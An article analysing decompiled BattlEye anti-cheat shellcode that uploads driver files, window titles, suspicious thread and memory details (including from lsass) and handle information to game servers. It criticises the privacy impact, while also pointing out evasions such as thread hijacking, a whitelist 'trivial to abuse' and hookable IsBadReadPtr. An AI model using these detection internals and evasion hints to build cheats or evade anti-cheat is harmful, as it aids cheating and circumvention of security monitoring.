Modern commercial anti-cheats are faced by an increasing competetiveness in professional game-hack production, and thus have begun implementing questionable methods to prevent this. In this article, we will present a previously unknown anti-cheat module, pushed to a small fraction of the player base by the commercial anti-cheat BattlEye. The prevalent theory is that this module is specifically targeted against reverse engineers, to monitor the production of video game hacking tools, due to the fact that this is dynamically pushed.

The code snippets in this article are beautified decompilations of shellcode [1] that we’ve dumped and deobfuscated from BattlEye. The shellcode was pushed to my development machine while messing around in Escape from Tarkov. On this machine various reverse engineering applications such as x64dbg are installed and frequently running, which might’ve caught the attention of the anti-cheat in question. To confirm the suspicion, a secondary machine that is mainly used for testing was booted, and on it, Escape from Tarkov was installed. The shellcode in question was not pushed to the secondary machine, which runs on the same network and utilized the same game account as the development machine.

[1] Shellcode refers to independent code that is dynamically loaded into a running process.

Other members of Secret Club have experienced the same ordeal, and the common denominator here is that we’re all highly specialized reverse engineers, which means most have the same applications installed. To put a nail in the coffin I asked a few of my fellow highschool classmates to let me log shellcode activity (using a hypervisor) on their machines while playing Escape from Tarkov, and not a single one of them received the module in question. Needless to say, some kind of technical minority is being targeted, which the following code segments will show.

In this article, you will see references to a function called battleye::send . This function is used by the commercial anti-cheat to send information from the client module BEClient_x64/x86.dll inside of the game process, to the respective game server. This is to be interpreted as a pure “send data over the internet” function, and only takes a buffer as input. The ID in each report header determines the type of “packet”, which can be used to distinguish packets from one another.

This routine has two main purposes: enumerating device drivers and installed certificates used by the respective device drivers. The former has a somewhat surprising twist though, this shellcode will upload any device driver(!!) matching the arbitrary “evil” filter to the game server. This means that if your proprietary, top-secret and completely unrelated device driver has the word “Callback” in it, the shellcode will upload the entire contents of the file on disk. This is a privacy concern as it is a relatively commonly used word for device drivers that install kernel callbacks for monitoring events.

The certificate enumerator sends the contents of all certificates used by device drivers on your machine directly to the game server:

// ONLY ENUMERATE ON X64 MACHINES GetNativeSystemInfo( & native_system_info); if ( native_system_info.u.s.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ) { if ( EnumDeviceDrivers(device_list, 0x2000 , & required_size) ) { if ( required_size <= 0x2000u ) { report_buffer = ( __int8 * )malloc( 0x7530 ); report_buffer[ 0 ] = 0 ; report_buffer[ 1 ] = 0xD ; buffer_index = 2 ; // DISABLE FILESYSTEM REDIRECTION IF RUN IN WOW64 if ( Wow64EnableWow64FsRedirection ) Wow64EnableWow64FsRedirection( 0 ); // ITERATE DEVICE DRIVERS for ( device_index = 0 ; ; ++ device_index ) { if ( device_index >= required_size / 8u /* MAX COUNT*/ ) break ; // QUERY DEVICE DRIVER FILE NAME driver_file_name_length = GetDeviceDriverFileNameA( device_list[device_index], & report_buffer[buffer_index + 1 ], 0x100 ); report_buffer[buffer_index] = driver_file_name_length; // IF QUERY DIDN'T FAIL if ( driver_file_name_length ) { // CACHE NAME BUFFER INDEX FOR LATER USAGE name_buffer_index = buffer_index; // OPEN DEVICE DRIVER FILE HANDLE device_driver_file_handle = CreateFileA( & report_buffer[buffer_index + 1 ], GENERIC_READ, FILE_SHARE_READ, 0 , 3 , 0 , 0 ); if ( device_driver_file_handle != INVALID_HANDLE_VALUE ) { // CONVERT DRIVER NAME MultiByteToWideChar( 0 , 0 , & report_buffer[buffer_index + 1 ], 0xFFFFFFFF , & widechar_buffer, 0x100 ); } after_device_driver_file_name_index = buffer_index + report_buffer[buffer_index] + 1 ; // QUERY DEVICE DRIVER FILE SIZE * (_DWORD * ) & report_buffer[after_device_driver_file_name_index] = GetFileSize(device_driver_file_handle, 0 ); after_device_driver_file_name_index += 4 ; report_buffer[after_device_driver_file_name_index] = 0 ; buffer_index = after_device_driver_file_name_index + 1 ; CloseHandle(device_driver_file_handle); // IF FILE EXISTS ON DISK if ( device_driver_file_handle != INVALID_HANDLE_VALUE ) { // QUERY DEVICE DRIVER CERTIFICATE if ( CryptQueryObject( 1 , & widechar_buffer, CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED, CERT_QUERY_FORMAT_FLAG_BINARY, 0 , & msg_and_encoding_type, & content_type, & format_type, & cert_store, & msg_handle, 1 ) ) { // QUERY SIGNER INFORMATION SIZE if ( CryptMsgGetParam(msg_handle, CMSG_SIGNER_INFO_PARAM, 0 , 0 , & signer_info_size) ) { signer_info = (CMSG_SIGNER_INFO * )malloc(signer_info_size); if ( signer_info ) { // QUERY SIGNER INFORMATION if ( CryptMsgGetParam(msg_handle, CMSG_SIGNER_INFO_PARAM, 0 , signer_info, & signer_info_size) ) { qmemcpy( & issuer, & signer_info -> Issuer, sizeof (issuer)); qmemcpy( & serial_number, & signer_info -> SerialNumber, sizeof (serial_number)); cert_ctx = CertFindCertificateInStore( cert_store, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0 , CERT_FIND_SUBJECT_CERT, & certificate_information, 0 ); if ( cert_ctx ) { // QUERY CERTIFICATE NAME cert_name_length = CertGetNameStringA( cert_ctx, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0 , 0 , & report_buffer[buffer_index], 0x100 ); report_buffer[buffer_index - 1 ] = cert_name_length; if ( cert_name_length ) { report_buffer[buffer_index - 1 ] -= 1 ; buffer_index += character_length; } // FREE CERTIFICATE CONTEXT CertFreeCertificateContext(cert_ctx); } } free(signer_info); } } // FREE CERTIFICATE STORE HANDLE CertCloseStore(cert_store, 0 ); CryptMsgClose(msg_handle); } // DUMP ANY DRIVER NAMED "Callback????????????" where ? is wildmark if ( * (_DWORD * ) & report_buffer[name_buffer_index - 0x11 + report_buffer[name_buffer_index]] == 'llaC' && * (_DWORD * ) & report_buffer[name_buffer_index - 0xD + report_buffer[name_buffer_index]] == 'kcab' && ( unsigned __int64)suspicious_driver_count < 2 ) { // OPEN HANDLE ON DISK file_handle = CreateFileA( & report_buffer[name_buffer_index + 1 ], 0x80000000 , 1 , 0 , 3 , 128 , 0 ); if ( file_handle != INVALID_HANDLE_VALUE ) { // INITIATE RAW DATA DUMP raw_packet_header.pad = 0 ; raw_packet_header.id = 0xBEu ; battleye :: send( & raw_packet_header, 2 , 0 ); // READ DEVICE DRIVER CONTENTS IN CHUNKS OF 0x27EA (WHY?) while ( ReadFile(file_handle, & raw_packet_header.buffer, 0x27EA , & size, 0x00 ) && size ) { raw_packet_header.pad = 0 ; raw_packet_header.id = 0xBEu ; battleye :: send( & raw_packet_header, ( unsigned int )(size + 2 ), 0 ); } CloseHandle(file_handle); } } } } } // ENABLE FILESYSTEM REDIRECTION if ( Wow64EnableWow64FsRedirection ) { Wow64EnableWow64FsRedirection( 1 , required_size % 8u ); } // SEND DUMP battleye :: send(report_buffer, buffer_index, 0 ); free(report_buffer); } } }

This routine enumerates all visible windows on your computer. Each visible window will have its title dumped and uploaded to the server together with the window class and style. If this shellcode is pushed while you have a Google Chrome tab open in the background with confidential information regarding your divorce, BattlEye now knows about this, too bad. While this is probably a really great method to monitor the activites of cheaters, it’s a very aggressive way and probably yields a ton of inappropriate information, which will be sent to the game server over the internet. No window is safe from being dumped, so be careful when you load up your favorite shooter game.

The decompilation is as follows:

top_window_handle = GetTopWindow( 0x00 ); if ( top_window_handle ) { report_buffer = (std :: uint8_t * )malloc( 0x5000 ); report_buffer[ 0 ] = 0 ; report_buffer[ 1 ] = 0xC ; buffer_index = 2 ; do { // FILTER VISIBLE WINDOWS if ( GetWindowLongA(top_window_handle, GWL_STYLE) & WS_VISIBLE ) { // QUERY WINDOW TEXT window_text_length = GetWindowTextA(top_window_handle, & report_buffer[buffer_index + 1 ], 0x40 ); for ( I = 0 ; I < window_text_length; ++ i ) report_buffer[buffer_index + 1 + i] = 0x78 ; report_buffer[buffer_index] = window_text_length; // QUERY WINDOW CLASS NAME after_name_index = buffer_index + ( char )window_text_length + 1 ; class_name_length = GetClassNameA(top_window_handle, & report_buffer[after_name_index + 1 ], 0x40 ); report_buffer[after_name_index] = class_name_length; after_class_index = after_name_index + ( char )class_name_length + 1 ; // QUERY WINDOW STYLE window_style = GetWindowLongA(top_window_handle, GWL_STYLE); extended_window_style = GetWindowLongA(top_window_handle, GWL_EXSTYLE); * (_DWORD * ) & report_buffer[after_class_index] = extended_window_style | window_style; // QUERY WINDOW OWNER PROCESS ID GetWindowThreadProcessId(top_window_handle, & window_pid); * (_DWORD * ) & report_buffer[after_class_index + 4 ] = window_pid; buffer_index = after_class_index + 8 ; } top_window_handle = GetWindow(top_window_handle, GW_HWNDNEXT); } while ( top_window_handle && buffer_index <= 0x4F40 ); battleye :: send(report_buffer, buffer_index, false ); free(report_buffer); }

Another mechanism of this proprietary shellcode is the complete address space enumeration done on all processes running. This enumeration routine checks for memory anomalies frequently seen in shellcode and manually mapped portable executables [2].

[2] Manually mapping an executable is a process of replicating the windows image loader

This is done by enumerating all processes and their respective threads. By checking the start address of each thread and cross-referencing this to known module address ranges, it is possible to deduce which threads were used to execute dynamically allocated shellcode. When such an anomaly is found, the thread start address, thread handle, thread index and thread creation time are all sent to the respective game server for further investigation.

This is likely done because allocating code into a trusted process yields increased stealth. This method kind of mitigates it as shellcode stands out if you start threads directly for them. This would not catch anyone using a method such as thread hijacking for shellcode execution, which is an alternative method.

The decompilation is as follows:

query_buffer_size = 0x150 ; while ( 1 ) { // QUERY PROCESS LIST query_buffer_size += 0x400 ; query_buffer = (SYSTEM_PROCESS_INFORMATION * )realloc(query_buffer, query_buffer_size); if ( ! query_buffer ) break ; query_status = NtQuerySystemInformation( SystemProcessInformation, query_buffer, query_buffer_size, & query_buffer_size); if ( query_status != STATUS_INFO_LENGTH_MISMATCH ) { if ( query_status >= 0 ) { // QUERY MODULE LIST SIZE module_list_size = 0 ; NtQuerySystemInformation)(SystemModuleInformation, & module_list_size, 0 , & module_list_size); modules_buffer = (RTL_PROCESS_MODULES * )realloc( 0 , module_list_size); if ( modules_buffer ) { // QUERY MODULE LIST if ( NtQuerySystemInformation)( SystemModuleInformation, modules_buffer, module_list_size, 1 ) >= 0 ) { for ( current_process_entry = query_buffer; current_process_entry -> UniqueProcessId != GAME_PROCESS_ID; current_process_entry = (std :: uint64_t )current_process_entry + current_process_entry -> NextEntryOffset) ) { if ( ! current_process_entry -> NextEntryOffset ) goto STOP_PROCESS_ITERATION_LABEL; } for ( thread_index = 0 ; thread_index < current_process_entry -> NumberOfThreads; ++ thread_index ) { // CHECK IF THREAD IS INSIDE OF ANY KNOWN MODULE for ( module_count = 0 ; module_count < modules_buffer -> NumberOfModules && current_process_entry -> threads[thread_index].StartAddress < modules_buffer -> Modules[module_count].ImageBase || current_process_entry -> threads[thread_index].StartAddress >= ( char * )modules_buffer -> Modules[module_count].ImageBase + modules_buffer -> Modules[module_count].ImageSize); ++ module_count ) { ; } if ( module_count == modules_buffer -> NumberOfModules ) // IF NOT INSIDE OF ANY MODULES, DUMP { // SEND A REPORT ! thread_report.pad = 0 ; thread_report.id = 0xF ; thread_report.thread_base_address = current_process_entry -> threads[thread_index].StartAddress; thread_report.thread_handle = current_process_entry -> threads[thread_index].ClientId.UniqueThread; thread_report.thread_index = current_process_entry -> NumberOfThreads - (thread_index + 1 ); thread_report.create_time = current_process_entry -> threads[thread_index].CreateTime - current_process_entry -> CreateTime; thread_report.windows_directory_delta = nullptr ; if ( GetWindowsDirectoryA( & directory_path, 0x80 ) ) { windows_directory_handle = CreateFileA( & directory_path, GENERIC_READ, 7 , 0 , 3 , 0x2000000 , 0 ); if ( windows_directory_handle != INVALID_HANDLE_VALUE ) { if ( GetFileTime(windows_directory_handle, 0 , 0 , & last_write_time) ) thread_report.windows_directory_delta = last_write_time - current_process_entry -> threads[thread_index].CreateTime; CloseHandle(windows_directory_handle); } } thread_report.driver_folder_delta = nullptr ; system_directory_length = GetSystemDirectoryA( & directory_path, 128 ); if ( system_directory_length ) { // Append \\Drivers std :: memcpy( & directory_path + system_directory_length, " \\ Drivers" , 9 ); driver_folder_handle = CreateFileA( & directory_path, GENERIC_READ, 7 , 0 i, 3 , 0x2000000 , 0 ); if ( driver_folder_handle != INVALID_HANDLE_VALUE ) { if ( GetFileTime(driver_folder_handle, 0 , 0 , & drivers_folder_last_write_time) ) thread_report.driver_folder_delta = drivers_folder_last_write_time - current_process_entry -> threads[thread_index].CreateTime; CloseHandle(driver_folder_handle); } } battleye :: send( & thread_report.pad, 0x2A , 0 ); } } } STOP_PROCESS_ITERATION_LABEL: free(modules_buffer); } free(query_buffer); } break ; } }

The shellcode will also scan the game process and the Windows process lsass.exe for suspicious memory allocations. While the previous memory scan mentioned in the above section looks for general abnormalities in all processes specific to thread creation, this focuses on specific scenarios and even includes a memory region size whitelist, which should be quite trivial to abuse.

The game and lsass process are scanned for executable memory outside of known modules by checking the Type field in MEMORY_BASIC_INFORMATION . This field will be MEM_IMAGE if the memory section is mapped properly by the Windows image loader ( Ldr ), whereas the field would be MEM_PRIVATE or MEM_MAPPED if allocated by other means. This is actually the proper way to detect shellcode and was implemented in my project MapDetection over three years ago. Thankfully anti-cheats are now up to speed.

After this scan is done, a game-specific check has been added which caught my attention. The shellcode will spam IsBadReadPtr on reserved and freed memory, which should always return true as there would normally not be any available memory in these sections. This aims to catch cheaters manually modifying the virtual address descriptor[3] to hide their memory from the anti-cheat. While this is actually a good idea in theory, this kind of spamming is going to hurt performance and IsBadReadPtr is very simple to hook.

[3] The Virtual Address Descriptor tree is used by the Windows memory manager to describe memory ranges used by a process as they are allocated. When a process allocates memory with VirutalAlloc, the memory manager creates an entry in the VAD tree. Source

for ( search_index = 0 ; ; ++ search_index ) { search_count = lsass_handle ? 2 : 1 ; if ( search_index >= search_count ) break ; // SEARCH CURRENT PROCESS BEFORE LSASS if ( search_index ) current_process = lsass_handle; else current_process = - 1 ; // ITERATE ENTIRE ADDRESS SPACE OF PROCESS for ( current_address = 0 ; NtQueryVirtualMemory)( current_process, current_address, 0 , & mem_info, sizeof (mem_info), & used_length) >= 0 ; current_address = ( char * )mem_info.BaseAddress + mem_info.RegionSize ) { // FIND ANY EXECUTABLE MEMORY THAT DOES NOT BELONG TO A MODULE if ( mem_info.State == MEM_COMMIT && (mem_info.Protect == PAGE_EXECUTE || mem_info.Protect == PAGE_EXECUTE_READ || mem_info.Protect == PAGE_EXECUTE_READWRITE) && (mem_info.Type == MEM_PRIVATE || mem_info.Type == MEM_MAPPED) && (mem_info.BaseAddress > SHELLCODE_ADDRESS || mem_info.BaseAddress + mem_info.RegionSize <= SHELLCODE_ADDRESS) ) { report.pad = 0 ; report.id = 0x10 ; report.base_address = (__int64)mem_info.BaseAddress; report.region_size = mem_info.RegionSize; report.meta = mem_info.Type | mem_info.Protect | mem_info.State; battleye :: send( & report, sizeof (report), 0 ); if ( ! search_index && (mem_info.RegionSize != 0x12000 && mem_info.RegionSize >= 0x11000 && mem_info.RegionSize <= 0x500000 || mem_info.RegionSize == 0x9000 || mem_info.RegionSize == 0x7000 || mem_info.RegionSize >= 0x2000 && mem_info.RegionSize <= 0xF000 && mem_info.Protect == PAGE_EXECUTE_READ)) { // INITIATE RAW DATA PACKET report.pad = 0 ; report.id = 0xBE ; battleye :: send( & report, sizeof (report), false ); // DUMP SHELLCODE IN CHUNKS OF 0x27EA (WHY?) for ( chunk_index = 0 ; ; ++ chunk_index ) { if ( chunk_index >= mem_info.region_size / 0x27EA + 1 ) break ; buffer_size = chunk_index >= mem_info.region_size / 0x27EA ? mem_info.region_size % 0x27EA : 0x27EA ; if ( NtReadVirtualMemory(current_process, mem_info.base_address, & report.buffer, buffer_size, 0x00 ) < 0 ) break ; report.pad = 0 ; report.id = 0xBEu ; battleye :: send( & v313, buffer_size + 2 , false ); } } } // TRY TO FIND DKOM'D MEMORY IN LOCAL PROCESS if ( ! search_index && (mem_info.State == MEM_COMMIT && (mem_info.Protect == PAGE_NOACCESS || ! mem_info.Protect) || mem_info.State == MEM_FREE || mem_info.State == MEM_RESERVE) ) { toggle = 0 ; for ( scan_address = current_address; scan_address < ( char * )mem_info.BaseAddress + mem_info.RegionSize && scan_address < ( char * )mem_info.BaseAddress + 0x40000000 ; scan_address += 0x20000 ) { if ( ! IsBadReadPtr(scan_address, 1 ) && NtQueryVirtualMemory(GetCurrentProcess(), scan_address, 0 , & local_mem_info, sizeof (local_mem_info), & used_length) >= 0 && local_mem_info.State == mem_info.State && (local_mem_info.State != 4096 || local_mem_info.Protect == mem_info.Protect) ) { if ( ! toggle ) { report.pad = 0 ; report.id = 0x10 ; report.base_address = mem_info.BaseAddress; report.region_size = mem_info.RegionSize; report.meta = mem_info.Type | mem_info.Protect | mem_info.State; battleye :: send( & report, sizeof (report), 0 ); toggle = 1 ; } report.pad = 0 ; report.id = 0x10 ; report.base_address = local_mem_info.BaseAddress; report.region_size = local_mem_info.RegionSize; report.meta = local_mem_info.Type | local_mem_info.Protect | local_mem_info.State; battleye :: send( & local_mem_info, sizeof (report), 0 ); } } } } }

This mechanism will enumerate all open handles on the machine and flag any game process handles. This is done to catch cheaters forcing their handles to have a certain level of access that is not normally obtainable, as the anti-cheat registers callbacks to prevent processes from gaining memory-modification rights of the game process. If a process is caught with an open handle to the game process, relevant info, such as level of access and process name, is sent to the game server:

report_buffer = ( __int8 * )malloc( 0x2800 ); report_buffer[ 0 ] = 0 ; report_buffer[ 1 ] = 0x11 ; buffer_index = 2 ; handle_info = 0 ; buffer_size = 0x20 ; do { buffer_size += 0x400 ; handle_info = (SYSTEM_HANDLE_INFORMATION * )realloc(handle_info, buffer_size); if ( ! handle_info ) break ; query_status = NtQuerySystemInformation( 0x10 , handle_info, buffer_size, & buffer_size); // SystemHandleInformation } while ( query_status == STATUS_INFO_LENGTH_MISMATCH ); if ( handle_info && query_status >= 0 ) { process_object_type_index = - 1 ; for ( handle_index = 0 ; ( unsigned int )handle_index < handle_info -> number_of_handles && buffer_index <= 10107 ; ++ handle_index ) { // ONLY FILTER PROCESS HANDLES if ( process_object_type_index == - 1 || ( unsigned __int8 )handle_info -> handles[handle_index].ObjectTypeIndex == process_object_type_index ) { // SEE IF OWNING PROCESS IS NOT GAME PROCESS if ( handle_info -> handles[handle_index].UniqueProcessId != GetCurrentProcessId() ) { process_handle = OpenProcess( PROCESS_DUP_HANDLE, 0 , * ( unsigned int * ) & handle_info -> handles[handle_index].UniqueProcessId); if ( process_handle ) { // DUPLICATE THEIR HANDLE current_process_handle = GetCurrentProcess(); if ( DuplicateHandle( process_handle, ( unsigned __int16 )handle_info -> handles[handle_index].HandleValue, current_process_handle, & duplicated_handle, PROCESS_QUERY_LIMITED_INFORMATION, 0 , 0 ) ) { if ( process_object_type_index == - 1 ) { if ( NtQueryObject(duplicated_handle, ObjectTypeInformation, & typeinfo, 0x400 , 0 ) >= 0 && ! _wcsnicmp(typeinfo.Buffer, "Process" , typeinfo.Length / 2 ) ) { process_object_type_index = ( unsigned __int8 )handle_info -> handles[handle_index].ObjectTypeIndex; } } if ( process_object_type_index != - 1 ) { // DUMP OWNING PROCESS NAME target_process_id = GetProcessId(duplicated_handle); if ( target_process_id == GetCurrentProcessId() ) { if ( handle_info -> handles[handle_index].GrantedAccess & PROCESS_VM_READ | PROCESS_VM_WRITE ) { owning_process = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, 0 , * ( unsigned int * ) & handle_info -> handles[handle_index].UniqueProcessId); process_name_length = 0x80 ; if ( ! owning_process || ! QueryFullProcessImageNameA( owning_process, 0 , & report_buffer[buffer_index + 1 ], & process_name_length) ) { process_name_length = 0 ; } if ( owning_process ) CloseHandle(owning_process); report_buffer[buffer_index] = process_name_length; after_name_index = buffer_index + ( char )process_name_length + 1 ; * (_DWORD * ) & report_buffer[after_name_index] = handle_info -> handles[handle_index].GrantedAccess; buffer_index = after_name_index + 4 ; } } } CloseHandle(duplicated_handle); CloseHandle(process_handle); } else { CloseHandle(process_handle); } } } } } } if ( handle_info ) free(handle_info); battleye :: send(report_buffer, buffer_index, false ); free(report_buffer);

The first routine the shellcode implements is a catch-all function for logging and dumping information about all running processes. This is fairly common, but is included in the article for completeness’ sake. This also uploads the file size of the primary image on disk.